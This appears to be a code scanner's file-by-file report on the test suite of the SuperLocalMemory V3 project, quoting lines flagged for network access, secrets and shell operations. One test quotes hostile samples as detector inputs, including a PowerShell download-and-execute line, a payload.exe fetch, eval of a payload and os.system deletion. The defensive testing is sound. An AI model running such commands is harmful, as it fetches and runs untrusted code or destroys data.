engine._config.embedding, provider=provider, ollama_base_url="https://remote.example" if provider else "http://127.0.0.1:11434", - Network accessline 286
provider=provider, ollama_base_url="https://remote.example" if provider else "http://127.0.0.1:11434", ) - Network accessline 287
ollama_base_url="https://remote.example" if provider else "http://127.0.0.1:11434", - Network accessline 288
) engine._config.retrieval.cross_encoder_backend = backend engine._config.retrieval.cross_encoder_endpoint = "https://remote.example" - Network accessline 289
engine._config.retrieval.cross_encoder_backend = backend engine._config.retrieval.cross_encoder_endpoint = "https://remote.example" with pytest.raises(ValueError, match="local"): - Network accessline 290
engine._config.retrieval.cross_encoder_endpoint = "https://remote.example"
tests/test_core/test_wp6_hand_edit.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp6_match_confidence.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp6_nomic_space.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp8_python_store.py
- Executable scriptline 1
Executable file
tests/test_core/test_write_path_projection_order.py
- Executable scriptline 1
Executable file
tests/test_cross_install/__init__.py
- Executable scriptline 1
Executable file
tests/test_cross_install/test_lazy_init.py
tests/test_daemon/__init__.py
- Executable scriptline 1
Executable file
tests/test_daemon/test_materializer_live_module.py
- Executable scriptline 1
Executable file
tests/test_daemon/test_pending_materializer_service.py
- Executable scriptline 1
Executable file
tests/test_daemon/test_service_registry.py
- Executable scriptline 1
Executable file
tests/test_dashboard_preserve_embedding.py
- Executable scriptline 1
Executable file - Network accessline 75
"dimension": 768, "provider": "openai", "api_endpoint": "https://custom-embedding.example.com/v1", - Network accessline 76
[Credential-related source omitted] - Network accessline 77
"api_endpoint": "https://custom-embedding.example.com/v1", - Access to secretsline 78
[Credential-related source omitted] - Network accessline 87
[Credential-related source omitted] - Network accessline 88
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Network accessline 89
"base_url": "https://openrouter.example.com", - Network accessline 109
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Network accessline 111
"base_url": "https://openrouter.example.com", - Network accessline 119
saved = _read_config(isolated_config) assert saved["embedding"]["provider"] == "openai" assert saved["embedding"]["api_endpoint"] == "https://custom-embedding.example.com/v1" - Network accessline 120
assert saved["embedding"]["provider"] == "openai" assert saved["embedding"]["api_endpoint"] == "https://custom-embedding.example.com/v1" assert saved["embedding"]["model_name"] == "nomic-ai/nomic-embed-text-v1.5" - Network accessline 121
assert saved["embedding"]["api_endpoint"] == "https://custom-embedding.example.com/v1" - Access to secretsline 145
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Network accessline 171
[Credential-related source omitted] - Network accessline 172
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted] - Network accessline 173
({"base_url": "https://new.example/v1", "clear_base_url": True}, "base_url"), - Network accessline 188
[Credential-related source omitted] - Network accessline 189
[Credential-related source omitted] - Network accessline 190
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Network accessline 210
saved = _read_config(isolated_config) assert saved["llm"]["base_url"] == "http://localhost:11434" - Network accessline 211
assert saved["llm"]["base_url"] == "http://localhost:11434" - Access to secretsline 218
[Credential-related source omitted] - Access to secretsline 220
[Credential-related source omitted] - Access to secretsline 225
[Credential-related source omitted] - Access to secretsline 228
[Credential-related source omitted] - Network accessline 233
monkeypatch.setattr(v3_api, "_validate_provider_url", lambda *_: None) asyncio.run(v3_api.set_full_config(_make_request({ "base_url": "https://replacement.example/v1", - Network accessline 234
asyncio.run(v3_api.set_full_config(_make_request({ "base_url": "https://replacement.example/v1", }))) - Network accessline 235
"base_url": "https://replacement.example/v1", - Network accessline 238
saved = _read_config(isolated_config) assert saved["llm"]["base_url"] == "https://replacement.example/v1" - Network accessline 239
assert saved["llm"]["base_url"] == "https://replacement.example/v1" - Access to secretsline 240
[Credential-related source omitted] - Access to secretsline 242
[Credential-related source omitted] - Access to secretsline 253
[Credential-related source omitted] - Access to secretsline 255
[Credential-related source omitted] - Network accessline 258
_write_config(isolated_config, { **_BASE_CONFIG, "llm": {**_BASE_CONFIG["llm"], "base_url": "https://openrouter.example.com/v1"}, - Network accessline 259
**_BASE_CONFIG, "llm": {**_BASE_CONFIG["llm"], "base_url": "https://openrouter.example.com/v1"}, }) - Network accessline 260
"llm": {**_BASE_CONFIG["llm"], "base_url": "https://openrouter.example.com/v1"}, - Network accessline 265
monkeypatch.setattr(v3_api, "_validate_provider_url", lambda *_: None) asyncio.run(v3_api.set_full_config(_make_request({ "base_url": "https://OPENROUTER.example.com/v1/", - Network accessline 266
asyncio.run(v3_api.set_full_config(_make_request({ "base_url": "https://OPENROUTER.example.com/v1/", }))) - Network accessline 267
"base_url": "https://OPENROUTER.example.com/v1/", - Access to secretsline 271
[Credential-related source omitted] - Network accessline 289
[Credential-related source omitted] - Network accessline 290
[Credential-related source omitted] - Access to secretsline 290
[Credential-related source omitted] - Network accessline 291
"base_url": "https://openrouter.example.com", - Network accessline 311
[Credential-related source omitted] - Network accessline 312
[Credential-related source omitted] - Access to secretsline 312
[Credential-related source omitted] - Network accessline 313
"base_url": "https://openrouter.example.com", - Network accessline 335
[Credential-related source omitted] - Network accessline 336
[Credential-related source omitted] - Access to secretsline 336
[Credential-related source omitted] - Network accessline 337
"base_url": "https://openrouter.example.com", - Network accessline 352
[Credential-related source omitted] - Network accessline 353
[Credential-related source omitted] - Access to secretsline 353
[Credential-related source omitted] - Network accessline 354
"base_url": "https://openrouter.example.com", - Network accessline 355
"embedding_provider": "openai", "embedding_endpoint": "https://new-embedding.example.com/v1", "embedding_key": "sk-emb-new", - Network accessline 356
"embedding_endpoint": "https://new-embedding.example.com/v1", - Network accessline 362
saved = _read_config(isolated_config) assert saved["embedding"]["api_endpoint"] == "https://new-embedding.example.com/v1" - Network accessline 363
assert saved["embedding"]["api_endpoint"] == "https://new-embedding.example.com/v1" - Access to secretsline 377
[Credential-related source omitted] - Network accessline 399
[Credential-related source omitted] - Network accessline 400
[Credential-related source omitted] - Access to secretsline 400
[Credential-related source omitted] - Network accessline 401
"base_url": "https://openrouter.example.com", - Access to secretsline 407
[Credential-related source omitted] - Network accessline 426
[Credential-related source omitted] - Network accessline 427
[Credential-related source omitted] - Access to secretsline 427
[Credential-related source omitted] - Network accessline 428
"base_url": "https://api.openai.com/v1", - Network accessline 433
displayed_host = urlparse("https://api.openai.com/v1").netloc # "api.openai.com" - Access to secretsline 442
[Credential-related source omitted] - Access to secretsline 447
[Credential-related source omitted] - Access to secretsline 448
[Credential-related source omitted] - Network accessline 469
[Credential-related source omitted] - Network accessline 470
[Credential-related source omitted] - Access to secretsline 470
[Credential-related source omitted] - Network accessline 471
"base_url": "https://api.openai.com/v1", - Network accessline 482
[Credential-related source omitted] - Network accessline 483
[Credential-related source omitted] - Access to secretsline 483
[Credential-related source omitted] - Network accessline 484
"base_url": "https://api.different-provider.com/v1", # genuinely new URL - Network accessline 487
saved = _read_config(isolated_config) assert saved["llm"]["base_url"] == "https://api.different-provider.com/v1" - Network accessline 488
assert saved["llm"]["base_url"] == "https://api.different-provider.com/v1" - Access to secretsline 489
[Credential-related source omitted] - Access to secretsline 512
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 514
[Credential-related source omitted] - Access to secretsline 525
[Credential-related source omitted] - Access to secretsline 539
[Credential-related source omitted] - Network accessline 545
saved = _read_config(isolated_config) assert saved["embedding"]["provider"] == "openai" assert saved["embedding"]["api_endpoint"] == "https://custom-embedding.example.com/v1" - Network accessline 547
assert saved["embedding"]["api_endpoint"] == "https://custom-embedding.example.com/v1" - Access to secretsline 552
[Credential-related source omitted] - Access to secretsline 580
[Credential-related source omitted] - Network accessline 585
saved = _read_config(isolated_config) assert saved["embedding"]["provider"] == "openai" assert saved["embedding"]["api_endpoint"] == "https://custom-embedding.example.com/v1" - Network accessline 586
assert saved["embedding"]["provider"] == "openai" assert saved["embedding"]["api_endpoint"] == "https://custom-embedding.example.com/v1" assert saved["llm"]["provider"] == "anthropic" - Network accessline 587
assert saved["embedding"]["api_endpoint"] == "https://custom-embedding.example.com/v1" - Access to secretsline 598
[Credential-related source omitted] - Network accessline 622
[Credential-related source omitted] - Network accessline 623
[Credential-related source omitted] - Access to secretsline 623
[Credential-related source omitted] - Network accessline 624
llm_api_base="https://example.com", - Access to secretsline 640
[Credential-related source omitted] - Network accessline 665
[Credential-related source omitted] - Network accessline 666
[Credential-related source omitted] - Network accessline 667
[Credential-related source omitted] - Access to secretsline 667
[Credential-related source omitted]
tests/test_dev_metadata.py
- Executable scriptline 1
Executable file
tests/test_distributed/__init__.py
- Executable scriptline 1
Executable file
tests/test_distributed/test_remote_mode.py
- Executable scriptline 1
Executable file - Network accessline 112
monkeypatch.setenv("SLM_REMOTE", "1") monkeypatch.setenv("SLM_MCP_ALLOWED_HOSTS", "192.168.50.144:*") assert rm.is_remote_origin_allowed("http://192.168.50.144:8765") is True - Network accessline 114
assert rm.is_remote_origin_allowed("http://192.168.50.144:8765") is True - Network accessline 118
monkeypatch.setenv("SLM_REMOTE", "1") monkeypatch.setenv("SLM_MCP_ALLOWED_HOSTS", "192.168.50.144:*") assert rm.is_remote_origin_allowed("https://evil.example.com") is False - Network accessline 120
assert rm.is_remote_origin_allowed("https://evil.example.com") is False - Network accessline 124
monkeypatch.delenv("SLM_REMOTE", raising=False) monkeypatch.setenv("SLM_MCP_ALLOWED_HOSTS", "*") assert rm.is_remote_origin_allowed("http://192.168.50.144:8765") is False - Network accessline 126
assert rm.is_remote_origin_allowed("http://192.168.50.144:8765") is False
tests/test_docs_chatgpt_skill_location.py
- Executable scriptline 1
Executable file
tests/test_documentation_matches_implementation.py
- Executable scriptline 1
Executable file
tests/test_documents/__init__.py
- Executable scriptline 1
Executable file
tests/test_documents/conftest.py
tests/test_documents/index_support.py
- Executable scriptline 1
Executable file
tests/test_documents/pdfs.py
- Executable scriptline 1
Executable file
tests/test_documents/support.py
- Executable scriptline 1
Executable file - Network accessline 73
n = len(self._by_key) + 1 self._by_key[key] = (f"mem{n}", f"fact{n}") self.requests.append(admission) - Network accessline 74
self._by_key[key] = (f"mem{n}", f"fact{n}") self.requests.append(admission) memory_id, fact_id = self._by_key[key] - Network accessline 75
self.requests.append(admission)
tests/test_documents/test_data_root_refusal.py
- Executable scriptline 1
Executable file
tests/test_documents/test_erase.py
- Executable scriptline 1
Executable file
tests/test_documents/test_fable_fb.py
- Executable scriptline 1
Executable file
tests/test_documents/test_folder_isolation.py
- Executable scriptline 1
Executable file
tests/test_documents/test_heavy_phase.py
- Executable scriptline 1
Executable file
tests/test_documents/test_index.py
- Executable scriptline 1
Executable file
tests/test_documents/test_limits.py
- Executable scriptline 1
Executable file
tests/test_documents/test_lint.py
- Executable scriptline 1
Executable file
tests/test_documents/test_parse_script.py
- Executable scriptline 1
Executable file
tests/test_documents/test_retry_by_id.py
- Executable scriptline 1
Executable file
tests/test_documents/test_routes.py
tests/test_documents/test_runner.py
- Executable scriptline 1
Executable file
tests/test_documents/test_service.py
- Executable scriptline 1
Executable file
tests/test_documents/test_status.py
- Executable scriptline 1
Executable file - Network accessline 57
self.sends[key] = self.sends.get(key, 0) + 1 if self.sends[key] <= self.busy: self.requests.append(admission) - Network accessline 58
if self.sends[key] <= self.busy: self.requests.append(admission) return SimpleNamespace(payload={"status": "accepted", "operation_id": None, "fact_ids": []}) - Network accessline 59
self.requests.append(admission)
tests/test_documents/test_submit.py
- Executable scriptline 1
Executable file - Network accessline 170
LINK = "https://files.example/doc.pdf?sig=SECRET" - Network accessline 182
def fetch(link, write, **kw): - Network accessline 183
if seen is not None: seen.update(kw, link=link) return real(link, write, transport=httpx.MockTransport( - Network accessline 184
seen.update(kw, link=link) return real(link, write, transport=httpx.MockTransport( lambda req: httpx.Response(status, content=iter(chunks), headers={"content-type": "application/pdf"})), - Network accessline 185
return real(link, write, transport=httpx.MockTransport( - Network accessline 186
lambda req: httpx.Response(status, content=iter(chunks), headers={"content-type": "application/pdf"})), - Network accessline 212
def fetch(link, write, **kw): - Network accessline 214
writes.append(len(data[i:i + 100])) write(data[i:i + 100]) return media_fetch.FetchedFile("https://files.example/doc.pdf", "application/pdf", len(data)) - Network accessline 216
return media_fetch.FetchedFile("https://files.example/doc.pdf", "application/pdf", len(data))
tests/test_dynamics/__init__.py
- Executable scriptline 1
Executable file
tests/test_dynamics/test_archive_zone_has_one_source.py
- Executable scriptline 1
Executable file
tests/test_dynamics/test_eap_scheduler.py
- Executable scriptline 1
Executable file
tests/test_dynamics/test_ebbinghaus_langevin.py
- Executable scriptline 1
Executable file
tests/test_dynamics/test_fisher_langevin_empty_variance.py
- Executable scriptline 1
Executable file
tests/test_dynamics/test_qjl_repair_source_race.py
- Executable scriptline 1
Executable file
tests/test_dynamics/test_qjl_upgrade_repair.py
- Executable scriptline 1
Executable file
tests/test_dynamics/test_sagq.py
- Executable scriptline 1
Executable file
tests/test_encoding/__init__.py
- Executable scriptline 1
Executable file
tests/test_encoding/_source_fidelity_cases.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_a_codename_is_a_name_not_a_plan.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_a_plan_is_not_just_a_sentence_with_a_date_in_it.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_auto_linker.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_cognitive_consolidator.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_consolidation_respects_time_and_corrections.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_consolidator.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_consolidator_neighbours_without_a_full_scan.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_context_generator.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_emotional.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_entity_extraction_precision.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_entity_indexes_survive_unrelated_commits.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_entity_lookup_index_answers_the_same.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_entity_mentions.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_entity_name_validity.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_entity_resolution_never_chains.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_entity_resolver.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_entropy_gate.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_every_sentence_is_findable.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_fact_extractor.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_fact_extractor_kind_hint.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_foresight.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_graph_builder.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_hook_bookkeeping_is_a_stub.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_memory_kind_classifier.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Dangerous shell operationline 89
facts = _facts("Never run rm -rf here.", "We chose Postgres.") - Dangerous shell operationline 99
_facts("Never run rm -rf with a glob."), caller_kind=None) - Dangerous shell operationline 166
unhinted = AtomicFact(content="Never run rm -rf with a glob.") - Dangerous shell operationline 197
hinted = AtomicFact(content="Never run rm -rf with a glob.", - Dangerous shell operationline 238
out = _clf(judge=laya).suggest(_facts("Never run rm -rf with a glob.", "a plain fact"), - Dangerous shell operationline 249
out = clf.suggest(_facts("Never run rm -rf with a glob."), caller_kind=None)
tests/test_encoding/test_memory_kind_rules.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Dangerous shell operationline 39
(K.RULE, "Never run rm -rf with ~ or a glob in this repo."), - Dangerous shell operationline 89
text = ("Never run rm -rf. Correction: we decided to go with Postgres. " * 20)
tests/test_encoding/test_mode_a_no_entities.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_node_degree_uses_edge_indexes.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_observation_builder.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_review243_causal_assertion.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_scene_builder.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_scene_lookups_use_the_scene_index.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_signal_inference.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_source_fidelity.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_source_fidelity_precision.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_temporal_filter.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_temporal_parser.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_temporal_validator.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_type_router.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_type_router_preserves_fields.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_encoding/test_typed_values.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_wp12a_causal.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_wp12b_entity_lookup_plans.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_wp5_dates.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_wp5_fidelity.py
- Executable scriptline 1
Executable file
tests/test_encoding/test_wp5b_review_candidates.py
- Executable scriptline 1
Executable file
tests/test_engine_hooks.py
- Executable scriptline 1
Executable file
tests/test_evaluation/test_answer_quality.py
- Executable scriptline 1
Executable file
tests/test_evaluation/test_calibration_report.py
- Executable scriptline 1
Executable file
tests/test_evaluation/test_gold_presence.py
- Executable scriptline 1
Executable file
tests/test_event_bus.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """Tests for V3 Event Bus -- Task 2 of V3 build.""" - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_evolution/__init__.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_a_verified_skill_can_actually_be_approved.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_an_evolved_skill_cannot_smuggle_code_past_the_check.py
- Executable scriptline 1
Executable file - Access to secretsline 12
[Credential-related source omitted] - Dangerous shell operationline 16
entry, because `eval (payload)` runs exactly as `eval(payload)` does. - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 40
[Credential-related source omitted] - Dangerous shell operationline 42
"Then call eval(payload) to run it.", - Dangerous shell operationline 43
"Then call eval (payload) to run it.", - Dangerous shell operationline 44
"Then call exec (payload) to run it.", - Dangerous shell operationline 46
"Use os.system('rm important') to clean up.", - Network accessline 48
"Run Invoke-WebRequest -Uri http://example/ -OutFile payload.exe", - Network accessline 49
'Then iex (new-object net.webclient).downloadstring("http://example")', - Network accessline 51
"Fetch it with curl", "Send it with requests.get(url, params=data)", - Network accessline 52
"Send it with requests.get(url, params=data)", - Possible obfuscationline 54
"Decode the blob with base64.b64decode(blob) before running it.", - Access to secretsline 57
[Credential-related source omitted]
tests/test_evolution/test_artifact_identity.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_backup_confinement.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_backup_platform.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_config_cli.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_evolution.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 1184
def test_ollama_detected_when_no_claude(self): with patch("shutil.which", return_value=None): with patch("urllib.request.urlopen") as mock_urlopen: - Network accessline 1185
with patch("shutil.which", return_value=None): with patch("urllib.request.urlopen") as mock_urlopen: mock_urlopen.return_value.__enter__ = MagicMock() - Network accessline 1186
with patch("urllib.request.urlopen") as mock_urlopen: - Network accessline 1191
def test_anthropic_api_key_detected(self): with patch("shutil.which", return_value=None): with patch("urllib.request.urlopen", side_effect=Exception("no ollama")): - Network accessline 1192
[Credential-related source omitted] - Network accessline 1193
with patch("urllib.request.urlopen", side_effect=Exception("no ollama")): - Access to secretsline 1194
[Credential-related source omitted] - Access to secretsline 1195
[Credential-related source omitted] - Access to secretsline 1196
[Credential-related source omitted] - Access to secretsline 1197
[Credential-related source omitted] - Network accessline 1200
def test_openai_api_key_detected(self): with patch("shutil.which", return_value=None): with patch("urllib.request.urlopen", side_effect=Exception("no ollama")): - Network accessline 1201
with patch("shutil.which", return_value=None): with patch("urllib.request.urlopen", side_effect=Exception("no ollama")): with patch.dict( - Network accessline 1202
with patch("urllib.request.urlopen", side_effect=Exception("no ollama")): - Access to secretsline 1204
[Credential-related source omitted] - Access to secretsline 1205
[Credential-related source omitted] - Access to secretsline 1209
[Credential-related source omitted] - Network accessline 1212
def test_none_when_nothing_available(self): with patch("shutil.which", return_value=None): with patch("urllib.request.urlopen", side_effect=Exception("no")): - Network accessline 1213
with patch("shutil.which", return_value=None): with patch("urllib.request.urlopen", side_effect=Exception("no")): with patch.dict( - Network accessline 1214
with patch("urllib.request.urlopen", side_effect=Exception("no")): - Access to secretsline 1216
[Credential-related source omitted] - Access to secretsline 1217
[Credential-related source omitted]
tests/test_evolution/test_evolution_budget.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_evolution_config_endpoint.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_evolve_candidate_budget.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_llm_dispatch.py
tests/test_evolution/test_model_selection.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_phase2_audit_remediations.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_phase2_governance.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_skill_cycle_acceptance.py
tests/test_evolution/test_skill_evolver_firing.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_skill_health_execution.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_workspace_activation_never_writes_installed_source.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_wp11_local_models.py
- Executable scriptline 1
Executable file
tests/test_evolution/test_wp11_verifier_artifact.py
- Executable scriptline 1
Executable file
tests/test_f02_mode_no_compliance_claims.py
- Executable scriptline 1
Executable file
tests/test_f03_data_locality_label.py
- Executable scriptline 1
Executable file
tests/test_f05_single_learning_db_path.py
- Executable scriptline 1
Executable file
tests/test_f08_migration_abort_distinguishable.py
- Executable scriptline 1
Executable file
tests/test_f14_readline_thread_leak.py
- Executable scriptline 1
Executable file
tests/test_features.py
- Executable scriptline 1
Executable file
tests/test_final_locomo_mini.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_governance/__init__.py
- Executable scriptline 1
Executable file
tests/test_governance/test_a_login_required_workspace_refuses_the_cli.py
- Executable scriptline 1
Executable file
tests/test_governance/test_account_authority_and_audit.py
- Executable scriptline 1
Executable file
tests/test_governance/test_active_workspace_is_per_caller.py
- Executable scriptline 1
Executable file
tests/test_governance/test_audit_anchor_must_exist.py
- Executable scriptline 1
Executable file
tests/test_governance/test_audit_anchor_upgrade.py
- Executable scriptline 1
Executable file
tests/test_governance/test_audit_chain_covers_every_field.py
- Executable scriptline 1
Executable file
tests/test_governance/test_audit_status_count_is_bounded.py
- Executable scriptline 1
Executable file
tests/test_governance/test_audit_unknown_hash_versions.py
- Executable scriptline 1
Executable file
tests/test_governance/test_company_mode_holds_on_every_transport.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 160
[Credential-related source omitted] - Access to secretsline 164
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted] - Access to secretsline 176
[Credential-related source omitted] - Access to secretsline 185
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 217
